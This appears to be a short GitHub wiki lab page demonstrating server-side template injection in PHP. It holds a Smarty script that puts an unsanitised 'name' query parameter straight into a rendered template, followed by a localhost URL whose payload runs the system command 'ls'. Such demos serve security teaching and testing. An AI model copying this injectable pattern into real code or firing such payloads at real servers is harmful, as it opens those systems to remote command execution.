SSTI php 01 - yujitounai/helloworld GitHub Wiki
<?php
require 'smarty-3.1.30/libs/Smarty.class.php';
$smarty = new Smarty;
$smarty->debugging = false;
$smarty->assign('foo','value');
$name ="";
if($_GET["name"]){
$name =$_GET["name"];
}
$template_string = '<!DOCTYPE html><html><body>
<form action="" method="get">
First name:<br>
<input type="text" name="name" value="">
<input type="submit" value="Submit">
</form><h2>Hello'.$name.'</h2></body></html>';
$smarty->display('string:'.$template_string);
http://localhost:8020/smarty-ssti/?name={system(%27ls%27)}